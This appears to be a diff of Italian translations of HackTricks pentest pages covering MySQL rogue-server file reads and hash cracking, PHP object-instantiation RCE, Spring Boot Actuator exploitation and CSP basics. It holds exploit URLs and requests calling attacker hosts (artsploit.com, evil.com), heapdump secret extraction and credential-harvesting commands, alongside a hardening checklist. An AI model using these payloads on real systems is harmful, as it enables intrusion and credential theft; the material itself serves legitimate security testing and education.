||||
Quindi indirizza l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
Quindi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Cracking `caching_sha2_password` hashes
|
||||
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano offline cracking dal 2023. Esegui il dump della colonna `authentication_string` e forniscila direttamente:
|
||||
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) sia John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Effettua il dump della colonna `authentication_string` e fornisci direttamente il contenuto:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
@ -693,11 +695,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Checklist di hardening (2025)
|
||||
• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura dei file.
|
||||
• Rimuovere il privilegio **`FILE`** dagli account delle applicazioni.
|
||||
• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per neutralizzare la maggior parte delle primitive di lettura/scrittura di file.
|
||||
• Rimuovere il privilegio **`FILE`** dagli account applicativi.
|
||||
• Su Connector/J impostare `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto).
|
||||
• Disabilitare i plugin di autenticazione non utilizzati e richiedere **TLS** (`require_secure_transport = ON`).
|
||||
• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi statement `SET GLOBAL`.
|
||||
• Disabilitare i plugin di autenticazione non utilizzati e **richiedere TLS** (`require_secure_transport = ON`).
|
||||
• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvise istruzioni `SET GLOBAL`.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
Questo è fondamentalmente un riepilogo di [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
|
||||
## Introduzione
|
||||
|
||||
La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in una [**analisi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE.
|
||||
|
||||
## RCE via Custom Classes or Autoloading
|
||||
## RCE tramite classi personalizzate o autoloading
|
||||
|
||||
La sintassi `new $a($b)` è usata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono essere ottenute da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove possono presentarsi come altri tipi.
|
||||
La sintassi `new $a($b)` viene utilizzata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono provenire da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi.
|
||||
|
||||
Considera lo snippet di codice sotto:
|
||||
Considera lo snippet di codice qui sotto:
|
||||
```php
|
||||
class App {
|
||||
function __construct ($cmd) {
|
||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
|
||||
|
||||
new $a($b);
|
||||
```
|
||||
In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad es., `uname -a`) provoca l'esecuzione di quel comando.
|
||||
In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (es., `uname -a`) porta all'esecuzione di quel comando.
|
||||
|
||||
**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi da file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`:
|
||||
**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`:
|
||||
```php
|
||||
spl_autoload_register(function ($class_name) {
|
||||
include './../classes/' . $class_name . '.php';
|
||||
@ -47,70 +47,70 @@ spl_autoload_register();
|
||||
```
|
||||
Il comportamento dell'autoloading varia tra le versioni di PHP, offrendo diverse possibilità di RCE.
|
||||
|
||||
## RCE tramite classi built-in
|
||||
## RCE via Built-In Classes
|
||||
|
||||
In assenza di classi personalizzate o di autoloader, **le classi built-in di PHP** possono essere sufficienti per ottenere RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate usando `get_declared_classes()`.
|
||||
In assenza di classi custom o autoloaders, **built-in PHP classes** possono essere sufficienti per RCE. Il numero di queste classi varia tra le 100 e le 200, in base alla versione di PHP e alle estensioni. Possono essere elencate usando `get_declared_classes()`.
|
||||
|
||||
I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nell'esempio seguente e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
|
||||
Esempi di RCE tramite metodi specifici:
|
||||
**RCE via specific methods includes:**
|
||||
|
||||
### **SSRF + Phar Deserialization**
|
||||
|
||||
La classe `SplFileObject` permette SSRF tramite il suo costruttore, consentendo connessioni a qualsiasi URL:
|
||||
La classe `SplFileObject` abilita SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL:
|
||||
```php
|
||||
new SplFileObject('http://attacker.com/');
|
||||
```
|
||||
SSRF può portare a deserialization attacks nelle versioni di PHP precedenti alla 8.0 usando il protocollo Phar.
|
||||
SSRF può portare a deserialization attacks in versioni di PHP precedenti alla 8.0 utilizzando il Phar protocol.
|
||||
|
||||
### **Exploiting PDOs**
|
||||
### **Sfruttare PDOs**
|
||||
|
||||
Il costruttore della classe PDO consente connessioni a database tramite stringhe DSN, potenzialmente abilitando la creazione di file o altre interazioni:
|
||||
Il PDO class constructor permette connessioni a database tramite DSN strings, potenzialmente abilitando la creazione di file o altre interazioni:
|
||||
```php
|
||||
new PDO("sqlite:/tmp/test.txt")
|
||||
```
|
||||
### **SoapClient/SimpleXMLElement XXE**
|
||||
|
||||
Le versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili agli attacchi XXE tramite i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2.
|
||||
Versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE tramite i costruttori di `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2.
|
||||
|
||||
## RCE via Imagick Extension
|
||||
## RCE tramite estensione Imagick
|
||||
|
||||
Nell'analisi delle **dipendenze del progetto** è stato scoperto che **Imagick** poteva essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità.
|
||||
Nell'analisi delle **dipendenze del progetto**, è stato scoperto che **Imagick** può essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità.
|
||||
|
||||
### VID parser
|
||||
|
||||
È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato del filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo Remote Code Execution (RCE).
|
||||
È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una PHP shell in una directory accessibile via web, ottenendo Remote Code Execution (RCE).
|
||||
|
||||
#### VID Parser + File Upload
|
||||
|
||||
Si osserva che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file all'interno del filesystem.
|
||||
È da notare che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file nel filesystem.
|
||||
|
||||
### PHP Crash + Brute Force
|
||||
|
||||
Un metodo descritto nel [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Bruteforcando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick.
|
||||
Un metodo descritto nella [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Brute-forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick.
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
## Format-string nella risoluzione dei nomi di classe (PHP 7.0.0 Bug #71105)
|
||||
|
||||
Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), PHP 7.0.0 ha introdotto un bug transitorio durante il refactor di `Throwable` in cui il motore interpretava per errore il nome della classe come una stringa di formato printf durante la risoluzione. Questo abilita i classici primitivi in stile printf all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specificatori di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (ad esempio, entry della GOT su build ELF).
|
||||
Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), in PHP 7.0.0 è stato introdotto un bug transitorio durante il refactor di `Throwable` per cui il motore interpretava erroneamente il nome della classe come una printf format string durante la risoluzione. Ciò abilita i classici printf-style primitives all'interno di PHP: leaks con `%p`, controllo del conteggio di scrittura con specifier di larghezza, e scritture arbitrarie con `%n` contro puntatori in-process (per esempio, voci GOT su build ELF).
|
||||
|
||||
Pattern minimo di riproduzione vulnerabile:
|
||||
Minimal repro vulnerable pattern:
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
Schema di sfruttamento (dal riferimento):
|
||||
- Leak addresses via `%p` nel nome della classe per trovare un target scrivibile:
|
||||
Exploitation outline (from the reference):
|
||||
- Leak indirizzi via `%p` nel nome della classe per trovare un target scrivibile:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Usa parametri posizionali e specifier di width per impostare un conteggio esatto di byte, poi `%n` per scrivere quel valore in un indirizzo raggiungibile nello stack, mirando a uno slot GOT (es., `free`) per sovrascriverlo parzialmente verso `system`.
|
||||
- Innesca la funzione dirottata passando un nome di classe contenente una shell pipe per raggiungere `system("id")`.
|
||||
- Usa parametri posizionali e specificatori di larghezza per impostare un conteggio esatto di byte, poi `%n` per scrivere quel valore in un indirizzo raggiungibile nello stack, mirando a uno slot GOT (es. `free`) per sovrascriverlo parzialmente verso `system`.
|
||||
- Innesca la funzione dirottata passando un nome di classe contenente una pipe di shell per raggiungere `system("id")`.
|
||||
|
||||
Note:
|
||||
- Funziona solo su PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corretto nelle release successive. Gravità: critica se esiste l'instanziazione arbitraria di classi.
|
||||
- I payload tipici concatenano molti `%p` per scorrere lo stack, poi `%.<width>d%<pos>$n` per ottenere la sovrascrittura parziale desiderata.
|
||||
- I payload tipici concatenano molti `%p` per scorrere lo stack, poi `%.<width>d%<pos>$n` per ottenere la sovrascrittura parziale.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@ -6,30 +6,30 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Da** \[**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**Fonte** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Sfruttare gli Actuators di Spring Boot
|
||||
## Sfruttare Spring Boot Actuators
|
||||
|
||||
**Controlla il post originale da** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Vedi il post originale su** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Punti chiave:**
|
||||
|
||||
- Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4 questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, di default solo `/health` e `/info` non sono considerati sensibili, ma gli sviluppatori spesso disabilitano questa protezione.
|
||||
- Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
|
||||
- In Spring Boot 1.x, gli actuator sono registrati sotto la root URL, mentre in 2.x si trovano sotto il path base `/actuator/`.
|
||||
- Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni 1 fino a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili di default, ma gli sviluppatori spesso disabilitano questa protezione.
|
||||
- Alcuni endpoint Actuator possono esporre dati sensibili o permettere azioni dannose:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
|
||||
- In Spring Boot 1.x, gli actuators sono registrati sotto l'URL root, mentre in 2.x si trovano sotto il percorso base `/actuator/`.
|
||||
|
||||
### **Tecniche di sfruttamento:**
|
||||
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- L'endpoint `/jolokia` degli actuator espone la Jolokia Library, che permette l'accesso HTTP agli MBeans.
|
||||
- L'azione `reloadByURL` può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o Remote Code Execution tramite configurazioni XML manipolate.
|
||||
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modifica della configurazione via '/env'**:
|
||||
- L'endpoint `/jolokia` espone la Jolokia Library, che permette accesso HTTP agli MBeans.
|
||||
- L'azione `reloadByURL` può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o a Remote Code Execution tramite configurazioni XML manipolate.
|
||||
- Esempio di URL di exploit: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modifica della configurazione tramite '/env'**:
|
||||
|
||||
- Se sono presenti le Spring Cloud Libraries, l'endpoint `/env` permette la modifica delle proprietà ambientali.
|
||||
- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream in Eureka serviceURL.
|
||||
- Example exploit POST request:
|
||||
- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la deserializzazione XStream nella serviceURL di Eureka.
|
||||
- Esempio di richiesta POST di exploit:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -41,31 +41,31 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Altre impostazioni utili**:
|
||||
- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per vari exploit, come SQL injection o alterazione delle stringhe di connessione al database.
|
||||
- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per diversi exploit, come SQL injection o la modifica delle stringhe di connessione al database.
|
||||
|
||||
### **Informazioni aggiuntive:**
|
||||
|
||||
- Una lista esaustiva degli actuator di default può essere trovata [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Una lista completa degli actuators di default può essere trovata [qui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- L'endpoint `/env` in Spring Boot 2.x usa il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso.
|
||||
|
||||
### **Argomenti correlati:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 sono disponibili [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Dettagli sull'exploit della combinazione dell'endpoint `/env` e del database H2 si trovano [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- La gestione dei matrix parameters (`;`) nel pathname HTTP da parte del framework Spring può essere sfruttata per Server-Side Request Forgery (SSRF).
|
||||
- Example exploit request:
|
||||
2. **SSRF su Spring Boot attraverso interpretazione errata del pathname**:
|
||||
- Il comportamento del framework Spring nella gestione dei parametri matrix (`;`) nei path HTTP può essere sfruttato per Server-Side Request Forgery (SSRF).
|
||||
- Esempio di richiesta di exploit:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
## HeapDump secrets mining (credenziali, token, URL interni)
|
||||
|
||||
Se `/actuator/heapdump` è esposto, di solito puoi recuperare uno snapshot completo dell'heap JVM che frequentemente contiene segreti in uso (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, ecc.).
|
||||
Se `/actuator/heapdump` è esposto, di solito puoi recuperare un snapshot completo dell'heap JVM che spesso contiene secret attivi (credenziali DB, API key, Basic-Auth, URL di servizi interni, mappe di proprietà di Spring, ecc.).
|
||||
|
||||
- Download and quick triage:
|
||||
- Download e triage rapido:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
@ -74,7 +74,7 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Deeper analysis with VisualVM and OQL:
|
||||
- Analisi approfondita con VisualVM e OQL:
|
||||
- Apri heapdump in VisualVM, ispeziona le istanze di `java.lang.String` o esegui OQL per cercare segreti:
|
||||
```
|
||||
select s.toString()
|
||||
@ -82,23 +82,23 @@ from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automated extraction with JDumpSpider:
|
||||
- Estrazione automatizzata con JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Risultati tipici ad alto valore:
|
||||
Tipici ritrovamenti ad alto valore:
|
||||
- Oggetti Spring `DataSourceProperties` / `HikariDataSource` che espongono `url`, `username`, `password`.
|
||||
- Voci `OriginTrackedMapPropertySource` che rivelano `management.endpoints.web.exposure.include`, porte dei servizi e Basic-Auth incorporato negli URL (es., Eureka `defaultZone`).
|
||||
- Frammenti HTTP in chiaro di richiesta/risposta che includono `Authorization: Basic ...` catturati in memoria.
|
||||
- Voci `OriginTrackedMapPropertySource` che rivelano `management.endpoints.web.exposure.include`, porte dei servizi e Basic-Auth incorporato nelle URL (es., Eureka `defaultZone`).
|
||||
- Frammenti HTTP plain di richieste/risposte contenenti `Authorization: Basic ...` catturati in memoria.
|
||||
|
||||
Tips:
|
||||
- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli actuator endpoints (es., SecLists spring-boot.txt) e verifica sempre se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` sono anch'essi esposti.
|
||||
- Le credenziali estratte dal heapdump spesso funzionano per servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso.
|
||||
Consigli:
|
||||
- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli endpoint actuator (es., SecLists spring-boot.txt) e controlla sempre se anche `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` sono esposti.
|
||||
- Le credenziali estratte dall'heapdump spesso funzionano su servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
Se `management.endpoints.web.exposure.include` lo permette e `/actuator/loggers` è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e il processamento delle request. Combinato con log leggibili (via `/actuator/logfile` o percorsi di log noti), questo può rivelare credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form).
|
||||
Se `management.endpoints.web.exposure.include` lo permette e `/actuator/loggers` è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e l'elaborazione delle richieste. Combinato con log leggibili (via `/actuator/logfile` o percorsi di log noti), questo può causare il leak di credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form).
|
||||
|
||||
- Enumerate and crank up sensitive loggers:
|
||||
```bash
|
||||
@ -123,14 +123,14 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Genera traffico di login/autenticazione e analizza il log per credenziali. In setup microservice con un gateway a frontare l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e corpi dei form. Alcuni ambienti generano persino traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il logging è verboso.
|
||||
Genera traffico di login/autenticazione e analizza il log per trovare credenziali. In architetture a microservizi con un gateway che fronta l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e body dei form. Alcuni ambienti generano addirittura traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il livello di logging è elevato.
|
||||
|
||||
Note:
|
||||
- Ripristina i livelli di log quando hai finito: `POST /actuator/loggers/<logger>` con `{ "configuredLevel": null }`.
|
||||
- Se `/actuator/httpexchanges` è esposto, può anche mostrare metadata di request recenti che potrebbero includere header sensibili.
|
||||
- Reimposta i livelli di log quando hai finito: `POST /actuator/loggers/<logger>` con `{ "configuredLevel": null }`.
|
||||
- Se `/actuator/httpexchanges` è esposto, può anche esporre metadata recenti delle richieste che possono includere header sensibili.
|
||||
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Che cos'è CSP
|
||||
## Cos'è CSP
|
||||
|
||||
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, pensata principalmente per **proteggere da attacchi come cross-site scripting (XSS)**. Funziona definendo e specificando percorsi e origini dalle quali il browser può caricare in modo sicuro le risorse. Queste risorse comprendono elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice in stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
|
||||
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, mirata principalmente a **proteggere dagli attacchi come il cross-site scripting (XSS)**. Funziona definendo e specificando i percorsi e le origini da cui il browser può caricare in modo sicuro le risorse. Queste risorse comprendono vari elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), incluse risorse inline e l'esecuzione di codice da stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
|
||||
|
||||
L'implementazione di CSP avviene tramite **header di risposta** o inserendo **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente tali disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
|
||||
L'implementazione di CSP avviene tramite **response headers** o incorporando **meta elements nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
|
||||
|
||||
- Implementato tramite header di risposta:
|
||||
- Implementato tramite response header:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Intestazioni
|
||||
|
||||
CSP può essere applicato o monitorato usando queste intestazioni:
|
||||
CSP può essere applicata o monitorata usando queste intestazioni:
|
||||
|
||||
- `Content-Security-Policy`: Applica la CSP; il browser blocca eventuali violazioni.
|
||||
- `Content-Security-Policy-Report-Only`: Usato per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per test in ambienti pre-produzione.
|
||||
- `Content-Security-Policy-Report-Only`: Usata per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.
|
||||
|
||||
### Definizione delle risorse
|
||||
|
||||
CSP limita le origini per il caricamento sia di contenuti attivi che passivi, controllando aspetti come l'esecuzione di JavaScript inline e l'uso di `eval()`. Un esempio di policy è:
|
||||
CSP limita le origini da cui vengono caricati sia i contenuti attivi che passivi, controllando aspetti come l'esecuzione di inline JavaScript e l'uso di `eval()`. Un esempio di policy è:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -39,38 +39,38 @@ object-src 'none';
|
||||
```
|
||||
### Direttive
|
||||
|
||||
- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da event handler o fogli di stile XSLT.
|
||||
- **default-src**: Imposta una policy predefinita per il recupero delle risorse quando non sono presenti direttive di fetch specifiche.
|
||||
- **script-src**: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
|
||||
- **default-src**: Imposta una politica predefinita per il fetching delle risorse quando mancano direttive specifiche.
|
||||
- **child-src**: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
|
||||
- **connect-src**: Restringe le URL che possono essere caricate usando interfacce come fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Restringe le URL per i frame.
|
||||
- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile a elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
|
||||
- **connect-src**: Restringe gli URL che possono essere caricati usando interfacce come fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Restringe gli URL per i frame.
|
||||
- **frame-ancestors**: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile ad elementi come `<frame>`, `<iframe>`, `<object>`, `<embed>`, e `<applet>`.
|
||||
- **img-src**: Definisce le sorgenti consentite per le immagini.
|
||||
- **font-src**: Specifica le sorgenti valide per i font caricati tramite `@font-face`.
|
||||
- **manifest-src**: Definisce le sorgenti consentite per i file manifesto dell'applicazione.
|
||||
- **font-src**: Specifica sorgenti valide per i font caricati tramite `@font-face`.
|
||||
- **manifest-src**: Definisce le sorgenti consentite per i file manifest dell'applicazione.
|
||||
- **media-src**: Definisce le sorgenti consentite per il caricamento di oggetti media.
|
||||
- **object-src**: Definisce le sorgenti consentite per gli elementi `<object>`, `<embed>`, e `<applet>`.
|
||||
- **base-uri**: Specifica le URL consentite per il caricamento tramite elementi `<base>`.
|
||||
- **base-uri**: Specifica gli URL consentiti per il caricamento tramite l'elemento `<base>`.
|
||||
- **form-action**: Elenca gli endpoint validi per l'invio dei form.
|
||||
- **plugin-types**: Restringe i mime type che una pagina può invocare.
|
||||
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere le URL HTTP in HTTPS.
|
||||
- **upgrade-insecure-requests**: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
|
||||
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||||
